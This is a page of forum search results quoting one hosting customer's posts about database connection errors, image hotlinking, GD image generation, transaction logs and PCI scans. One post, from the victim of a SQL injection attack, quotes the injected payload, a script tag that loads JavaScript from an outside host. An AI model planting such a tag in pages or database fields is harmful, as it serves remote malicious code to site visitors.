Search results

Thanks Stephen - looks like it will do what I need. Will try it out.

I have a need to create a zip file of images on the server. The list of images changes frequently and it's difficult to keep the zip file up to date. I'd like to create a script so that whenever the images change we could run this script to delete the old zip and create a new one with the most...

btw, the error I was getting was "Server user 'my_sql_admin_name' is not a valid user in database 'actinet_main" I'm not trying to connect to anyone else's server, and actinet_main isn't even alphabetically the first in the list, so not sure what's causing that error.

Stephen, It's just a regular select query. However, I may have solved the problem. On the server connections property screen there is a button "Options >>" On the Connection properties tab, I selected my database from the dropdown. Then when I disconnect/reconnect, I can now run queries. I...

I installed the free SQLExpress with Management Studio. I seem to be able to connect, and see the list of databases. In connection properties i tell it to connect only to my database. However, if I try to run a query I get error "Cannot execute script - Unable to start TransactSQL debugger...

Thanks for getting on top of it. Still not showing up on JodoPulse, but it is responding to pings.

GOt a call from a client unable to send email. He should be on mail8, but I can't find it listed in jodopulse. Is it down?

Unfortunately the way it's used is as a background image on a page. If you've seen some of the wackier MySpace pages, this would be near the top, so I doubt anything I put there would put them off. Problem now is, with the image removed my logs are getting filled up with 404 errors from the...

Someone on MySpace was using one of my user's images - linking it directly. He tried to contact this person and got no response, so he deleted the image. But the link is still there and this seems to be a very popular MySpace page because now the errors are clogging up my logs. Does anyone...

I had to reinstall Aqua Data Studio and have lost my connection info. When I try to set up a new connection, I'm getting errors "the syntax of the connection url is incorrect". Does anyone use this program, and could help me with getting this connection string? I'm on mssql9. thanks

Stephen, thanks I will look at GD. So far, problem seems to be lack of font options. Is GD already installed on Jodo servers?

I have a client who wants to build a site where customers can get a live preview of text and graphics before ordering product. He's seen a couple of sites that do this, where you check some options in a form, choose a font, enter your text and the site generates an image on the fly. The...

Stephen, Thanks, opened a ticket and they fixed it (I think). I'm new to SQl (converting up from Access), so I'm curious what others recommend as a good db size, and especially the recommended ratio of Database/Transaction Log sizes? My new settings are: Database/Transaction Log file...

I'm getting a similar issue - not as urgent since I'm just beginning to build the site. All the forums posts I see recommend clearing the transaction log, but can someone tell me where this is, and how one can clear it? I use Aqua Data Studio. Thanks

Stephen, Thanks - you found the page. Since this particular page should only ever have a 4 digit number as the query, my quick fix is to filter that, but I'll also rrwrite the page to do some more complete filtering. Thanks

Already requested info on the restore option. I first need to know how far back the restore point will be. Checking logs now. I don't see any instances of "NVARCHAR" - anything else I should be searching for?

Wondering if anyone can help me with removing some junk inserted into my tables by a SQL injection hack. They somehow managed to append the text '<script src=http://www.banner82.com/b.js></script>' to several of my text fields. Where the fields were previously empty it's easy to remove, but...

Stephen, Looks like I may have been hit with this one. I thought I was pretty secure against this after getting scanned for PCI, but obviously I missed something. You mentioned you may have some tools to help identify the vulnerable pages?

I tried again several times this year, and even spoke with the scan people (SecurityMetrics) by phone. I agree with Stephen, this is a bit of a scam, in that it's required by the Visa/Mastercard people, but you have no choice on the scanning company. However, both Visa and SecurityMetrics are...

Compatibility test reported everything ok. I just wanted to make sure it doesn't cause any problems or use too many resources. Thanks.